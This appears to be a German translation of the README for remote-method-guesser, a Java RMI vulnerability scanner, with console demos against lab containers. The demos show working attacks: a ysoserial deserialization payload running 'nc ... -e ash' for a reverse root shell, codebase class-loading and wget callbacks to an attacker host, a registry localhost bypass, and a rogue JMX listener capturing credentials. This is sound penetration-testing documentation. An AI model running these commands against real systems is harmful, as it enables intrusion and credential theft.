
Java RMI-Schwachstellenscanner
remote-method-guesser (rmg) ist ein Java RMI Schwachstellenscanner und kann verwendet werden, um häufige Sicherheitsschwachstellen auf Java RMI Endpunkten zu identifizieren und zu verifizieren.

remote-method-guesser wurde auf der Black Hat USA2021 im Rahmen der Arsenal Sessions vorgestellt. Die Aufzeichnung der Sitzung und die entsprechenden Folien sind öffentlich verfügbar und können über die folgenden Links abgerufen werden:
Das Repository von remote-method-guesser enthält drei Beispielserver, die zum Üben von Java RMI Enumeration und Angriffen verwendet werden können.
Der rmg-example-server stellt reguläre RMI Dienste bereit, die mit remote-method-guesser enumeriert und ausgenutzt werden können.
Der rmg-ssrf-server stellt einen HTTP Dienst bereit, der anfällig für SSRF Angriffe ist und RMI Dienste ausführt, die nur
auf localhost hören. Dies kann zum Üben mit den Optionen --ssrf und --ssrf-response von remote-method-guesser verwendet werden.
Der spring-remoting-server stellt RMI Schnittstellen bereit, die über Spring Remoting erstellt wurden. Diese unterscheiden sich etwas von
regulärem Java RMI und können zum Testen der zugehörigen Spring Remoting Integration von remote-method-guesser verwendet werden.
Alle Server sind als Container in der GitHub Container Registry verfügbar:
rmg ist ein maven Projekt und die Installation sollte unkompliziert sein. Mit installiertem maven führen Sie einfach die folgenden Befehle aus, um eine ausführbare .jar Datei zu erstellen:```console
$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package
Sie können auch vorgefertigte Pakete verwenden, die für [jede Veröffentlichung](https://github.com/qtc-de/remote-method-guesser/releases) erstellt werden. Vorgefertigte Pakete für den Entwicklungszweig werden automatisch erstellt und sind auf der *GitHub* [Aktionsseite](https://github.com/qtc-de/remote-method-guesser/actions) zu finden.
*rmg* enthält *ysoserial* nicht als Abhängigkeit. Um *ysoserial*-Unterstützung zu aktivieren, müssen Sie entweder den Pfad zu Ihrer ``ysoserial.jar``-Datei als zusätzliches Argument angeben (z.B. ``--yso /opt/ysoserial.jar``) oder Sie ändern den Standardpfad in der [rmg-Konfigurationsdatei](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) vor dem Erstellen des Projekts.
*rmg* unterstützt auch Autovervollständigung für *bash*. Um die Autovervollständigung zu nutzen, müssen Sie das [completion-helpers](https://github.com/qtc-de/completion-helpers) Projekt installiert haben. Bei korrekter Einrichtung genügt es, das [Komplettierungsskript](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/resources/bash_completion.d/rmg) in Ihren ``~/.bash_completion.d``-Ordner zu kopieren, um die Autovervollständigung zu aktivieren.```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/
Im Folgenden werden kurze Beispiele für jede verfügbare Operation vorgestellt. Für eine detailliertere Beschreibung sollten Sie den Dokumentationsordner lesen, der detailliertere Informationen zu rmg und Java RMI im Allgemeinen enthält. Alle vorgestellten Beispiele basieren auf dem rmg-example-server und dem rmg-ssrf-server. Beide sind in diesem Repository im docker Ordner enthalten und können verwendet werden, um die Java RMI-Aufzählung zu üben. Sie können entweder die entsprechenden Container selbst erstellen oder direkt aus der GitHub Container Registry laden.```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...
rmg v4.0.0 - a Java RMI Vulnerability Scanner
positional arguments:
action
bind Binds an object to the registry thats points to listener
call Regulary calls a method with the specified arguments
codebase Perform remote class loading attacks
enum Enumerate common vulnerabilities on Java RMI endpoints
guess Guess methods on bound names
known Display details of known remote objects
listen Open ysoserials JRMP listener
objid Print information contained within an ObjID
rebind Rebinds boundname as object that points to listener
roguejmx Creates a rogue JMX listener (collect credentials)
scan Perform an RMI service scan on common RMI ports
serial Perform deserialization attacks against default RMI components
unbind Removes the specified bound name from the registry
named arguments: -h, --help show this help message and exit
#### bind, rebind und unbind
Durch Verwendung der Aktionen ``bind``, ``rebind`` oder ``unbind`` ist es möglich, die verfügbaren *gebundenen Namen* innerhalb der *RMI-Registry* zu ändern.
Dies ist besonders nützlich, um ``CVE-2019-2684`` zu verifizieren, das die Localhost-Beschränkungen umgeht und es entfernten Benutzern ermöglicht, Bind-Operationen durchzuführen.
Bei Verwendung der Aktion ``bind`` oder ``rebind`` bindet *remote-method-guesser* standardmäßig die ``javax.management.remote.rmi.RMIServerImpl_Stub`` *RemoteObject*, das die von *jmx*-Servern verwendete *RemoteObject* ist. Zusätzlich müssen Sie die Adresse des entsprechenden *TCP-Endpunkts* angeben, an dem das *RemoteObject* zu finden ist (die Adresse, mit der Clients eine Verbindung herstellen sollen, wenn sie versuchen, Ihr gebundenes Objekt zu verwenden).```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - my-object
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
Durch die Verwendung des Plugin-Systems von remote-method-guesser ist es auch möglich, benutzerdefinierte Objekte an die RMI-Registry zu binden. Weitere Informationen zum Plugin-System finden Sie im Dokumentationsordner.
Mit der Aktion call von remote-method-guesser können Sie entfernte Methoden aufrufen, ohne Java-Code schreiben zu müssen. Angenommen, auf dem entfernten Server existiert die Methode String execute(String cmd). Diese Methode klingt vielversprechend und Sie möchten sie möglicherweise mit einem regulären Java RMI-Aufruf aufrufen. Dies kann mit dem folgenden Befehl erfolgen:```console
[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -
Beachten Sie, dass das Aufrufen von Remote-Methoden standardmäßig keine Ausgabe erzeugt. Um die durch die ``call``-Aktion erzeugten Ausgaben zu verarbeiten, müssen Sie
das *remote-method-guesser* [Plugin-System](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md) verwenden und einen ``ResponseHandler`` registrieren oder das standardmäßige
`GenericPrint`-Plugin nutzen. `GenericPrint` ist standardmäßig in *remote-method-guesser* enthalten und kann mit der Option `--show-response`
aktiviert werden.```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)
Während der call-Aktion werden die bereitgestellten Argumente als Java-Ausdruck ausgewertet, indem sie in die folgende Vorlage eingefügt werden:
new Object[]{ arg1, arg2, arg3, ... }. Daher müssen Sie sicherstellen, dass Ihre bereitgestellten Argumente diesem Muster entsprechen. Z.B.
führt die Verwendung von "id" als Argument zu einem Fehler, da das Argument als id an remote-method-guesser übergeben wird und der resultierende
Ausdruck new Object[]{ id } kein gültiger Java-Ausdruck ist. Stattdessen müssen Sie '"id"' verwenden, da dies zu new Object[]{ "id" } führt,
was gültig ist.
Darüber hinaus müssen primitive Typen in ihrer entsprechenden Objektdarstellung angegeben werden (z.B. new Integer(5) anstelle von 5). Andernfalls können sie
nicht innerhalb des Object[]-Arrays verwendet werden, das durch den Java-Ausdruck erstellt wird. Während des RMI-Aufrufs werden die entsprechenden Argumente
wie beabsichtigt verwendet und passen zu Ihrer angegebenen Methodensignatur. Für komplexere Anwendungsfälle können Sie auch einen benutzerdefinierten ArgumentProvider definieren, indem Sie das
Plugin-System von remote-method-guesser verwenden.
Java RMI unterstützt eine Funktion namens Codebases, bei der der Client und der Server während RMI-Aufrufen URLs angeben können, die verwendet werden können, um unbekannte Klassen dynamisch zu laden. Wenn ein RMI-Server eine clientseitig angegebene Codebase akzeptiert, kann dies zu remote code execution führen, wenn der Client während der RMI-Kommunikation eine bösartige Java-Klasse bereitstellt.
Die Codebase-Konfiguration auf einem RMI-Server kann für die verschiedenen Komponenten unterschiedlich sein: Activator, DGC, Registry und Application Level.
remote-method-guesser ermöglicht es Ihnen, jede Komponente einzeln zu testen, indem Sie entweder --signature <method> (Anwendungsebene),
--component act (Activator), --component dgc (verteilter Garbage Collector) oder --component reg (RMI-Registry) zusammen mit der
codebase-Aktion verwenden.
Anwendungsebene:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -
*RMI Registry*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] Caught ClassCastException during codebase attack.
[+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -
Verteilter Garbage Collector:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -
*Aktivator*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] Caught IllegalArgumentException during codebase attack.
[+] Codebase attack was probably successful :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -
Die Aktion enum führt mehrere Prüfungen auf dem angegebenen Java RMI-Endpunkt durch und gibt die entsprechenden Ergebnisse aus. Eine detailliertere Erklärung der von der Aktion enum erzeugten Ausgabe finden Sie auf der entsprechenden Dokumentationsseite.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.example/well-hidden-development-folder/
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
#### guess
Bei Verwendung der ``guess``-Aktion versucht *remote-method-guesser*, existierende Remote-Methoden zu identifizieren, indem es Methoden-Hashes an den Remote-Server sendet. Dieser Vorgang erfordert eine Wortliste, die die entsprechenden Methodendefinitionen enthält. *remote-method-guesser* enthält einige Standard-Wortlisten, die während der Build-Phase in die ``.jar``-Datei eingebunden werden. Sie können die Speicherorte der Wortlisten überschreiben, indem Sie entweder die [rmg-Konfigurationsdatei](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) ändern oder die Optionen ``--wordlist-file`` oder ``--wordlist-folder`` verwenden. Methoden ohne Argumente werden beim Raten übersprungen, da sie zu echten Methodenaufrufen auf der Serverseite führen. Sie können das Raten für Methoden ohne Argumente mit dem Schalter ``--zero-arg`` aktivieren.```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
Bei der Ausführung der enum-Aktion markiert remote-method-guesser verfügbare bound names im RMI-Registry entweder als known oder unknown. Diese Entscheidung hängt von der Klasse ab, die vom entsprechenden bound name implementiert wird, und davon, ob die entsprechende Klasse in der Liste der bekannten Endpunkte enthalten ist, die sich im remote-method-guesser-Repository befindet. Wenn ein bound name als known markiert ist, können Sie die known-Aktion auf die entsprechende Klasse anwenden. Dadurch werden Informationen über die entsprechende Klasse zurückgegeben, wie die verfügbaren Remote-Methoden, eine allgemeine Beschreibung und mögliche Schwachstellen:```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter
Die Liste der bekannten Klassen, deren Beschreibung und die Liste der bekannten Schwachstellen ist bei weitem nicht vollständig.
Sie wird hoffentlich in Zukunft wachsen und wird durch Eingaben anderer Benutzer angetrieben. Wenn Sie auf einen *RMI-Endpunkt*
stoßen, der eine derzeit fehlende Klasse implementiert und Sie ausreichende Informationen (Beschreibung und verfügbare Methoden) haben,
zögern Sie nicht, ein Issue oder einen Pull-Request zu erstellen.
#### listen
Manchmal ist es erforderlich, einen bösartigen *JRMPListener* bereitzustellen, der Deserialisierungs-Payloads
für eingehende *RMI*-Verbindungen bereitstellt. Einen solchen Listener von Grund auf neu zu schreiben ist nicht notwendig, da er bereits vom
[ysoserial project](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java) bereitgestellt wird.
*remote-method-guesser* bietet einen Wrapper um die *ysoserial*-Implementierung, der es Ihnen ermöglicht, einen *JRMPListener*
unter Verwendung der üblichen *rmg*-Syntax zu starten:```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...
Die Aktion objid kann verwendet werden, um detailliertere Informationen zu einer ObjID anzuzeigen. Jedes RemoteObject erhält eine ObjID, wenn es von der RMI-Laufzeitumgebung exportiert wird. Die Kenntnis des ObjID-Werts ist erforderlich, um mit einem RemoteObject zu kommunizieren, was auch der Grund ist, warum Sie normalerweise eine RMI-Registry benötigen. Die RMI-Registry enthält die ObjID für jeden gebundenen Namen und remote-method-guesser zeigt sie während der Aktion enum an.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]
``ObjID``-Werte bestehen aus verschiedenen Komponenten. Diese Komponenten werden in menschenlesbarer Form angezeigt, wenn
die Aktion ``objid`` auf der entsprechenden ``ObjID`` verwendet wird:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 1096154566158180646
[+] UID:
[+] Unique: -734386537
[+] Time: 1638254048332 (Nov 30,2021 07:34)
[+] Count: -32759
Die meisten der angezeigten Informationen sind nicht besonders nützlich, aber der Time-Wert kann interessant sein. Dieser Wert enthält die Uhrzeit, zu der das RemoteObject erstellt wurde. Daher ermöglicht er die Bestimmung von Dingen wie der Betriebszeit eines RMI-Servers.
Manchmal identifiziert man Dienste, die üblicherweise Java RMI-Komponenten mit sich führen (JBoss, Solr, Tomcat, ...), möchte aber keinen vollständigen Portscan auf dem entsprechenden Host durchführen. In solchen Situationen kann die scan-Aktion nützlich sein. Sie führt einen schnellen Portscan nur auf verbreitete RMI-Ports durch und versucht, RMI-Dienste auf ihnen zu identifizieren:```console
[qtc@devbox ~]$ rmg scan 172.17.0.2
[+] Scanning 112 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [119 / 119] [#############################] 100%
[+]
[+] Portscan finished.
Standardmäßig verwendet die Scan-Aktion eine vorkonfigurierte Liste von gängigen *RMI-Ports*. Um die Liste der zu scannenden Ports anzupassen,
können Sie die Option ``--ports`` verwenden. Diese Option akzeptiert einfache Zahlen und Zahlenbereiche für Portangaben.
Der Bindestrich (``-``) kann verwendet werden, um auf die Standard-Portliste zu verweisen.```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
Beachte, dass die Aktion scan auf eine einfache und nicht zuverlässige Weise implementiert ist. Wenn möglich, solltest du
immer einen dedizierten Portscan mit Werkzeugen wie nmap durchführen. Allerdings kann die Aktion scan
dir einen schnellen Überblick über das Auffinden von RMI-Ports geben.
Die Aktion roguejmx erstellt einen JMX-Listener auf deinem System, der Anmeldeinformationen eingehender Verbindungen erfasst.
Nachdem der Listener erstellt wurde, gibt remote-method-guesser den ObjID-Wert aus, der für die Interaktion damit erforderlich ist.```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
Mit den ``bind`` und ``rebind`` Operationen können Sie diesen Listener in ein *RMI-Registry* injizieren und darauf warten, dass andere Benutzer eine Verbindung zu Ihrem Server herstellen:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials
Eingehende Verbindungen werden vom Listener protokolliert:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!
*remote-method-guesser* verwendet standardmäßig den *ObjID*-Wert `[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]` für *bind*-Operationen und den betrügerischen *JMX*-Server. Die manuelle Angabe der *ObjID* wie oben gezeigt ist daher nicht notwendig. Sie können den standardmäßigen *ObjID*-Wert entweder über Befehlszeilenargumente oder in der Konfigurationsdatei von *remote-method-guesser* ändern.
Der betrügerische *JMX*-Server gibt standardmäßig eine Zugriffsausnahme (ungültige Anmeldeinformationen) für jede eingehende Verbindung zurück, aber Sie können eingehende Verbindungen auch an eine andere *JMX*-Instanz weiterleiten. Dies ermöglicht es, Anmeldeinformationen von eingehenden Clientverbindungen zu erhalten, ohne Dienste zu stören. Um Verbindungen weiterzuleiten, müssen Sie das entsprechende Ziel als zusätzliches Argument angeben. Ziele können auf zwei verschiedene Arten angegeben werden:
1. Die IP-Adresse und der Port eines RMI-Registry zusammen mit dem gebundenen Namen der entsprechenden *JMX-Instanz*: ```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] --> Forwarding connections to: 172.17.0.2:9010:jmxrmi
[+]
#### serial
*Java RMI* verwendet *Java serialisierte Objekte* in der Client-Server-Kommunikation. Dies macht es potenziell anfällig
für *Deserialisierungsangriffe*. Diese Angriffe können verschiedene *RMI-Komponenten* betreffen:
* Bekannte *RMI-Komponenten* (*RMI-Interna*)
* *RMI-Registry*
* *DGC*
* *Activator*
* Benutzerdefinierte *RemoteObjects* (*Anwendungsebene*)
##### Bekannte RMI-Komponenten
Während moderne *RMI-Server* auf diese *bekannten RMI-Komponenten* *Deserialisierungsfilter* anwenden (*JEP290*), können ältere Server weiterhin anfällig für *Deserialisierungs-
angriffe* sein. *remote-method-guesser* ermöglicht es, dies mit der Aktion ``serial`` zu überprüfen, die Deserialisierungsangriffe auf den *Activator*, den *Distributed
Garbage Collector* (*DGC*) oder die *RMI-Registry* durchführen kann.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] Caught ClassCastException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)
Im Fall der RMI-Registry können die Deserialisierungsfilter umgangen werden, indem die JRMPClient oder die An Trinh Bypass-Gadgets verwendet werden. Diese Gadgets erstellen einen ausgehenden RMI-Kanal, der keine Deserialisierungsfilter mehr anwendet. Auf diesem Kanal können Deserialisierungsangriffe wie gewohnt durchgeführt werden, jedoch wurden beide Bypässe in den neuesten Versionen von Java RMI gepatcht.```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.
[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection
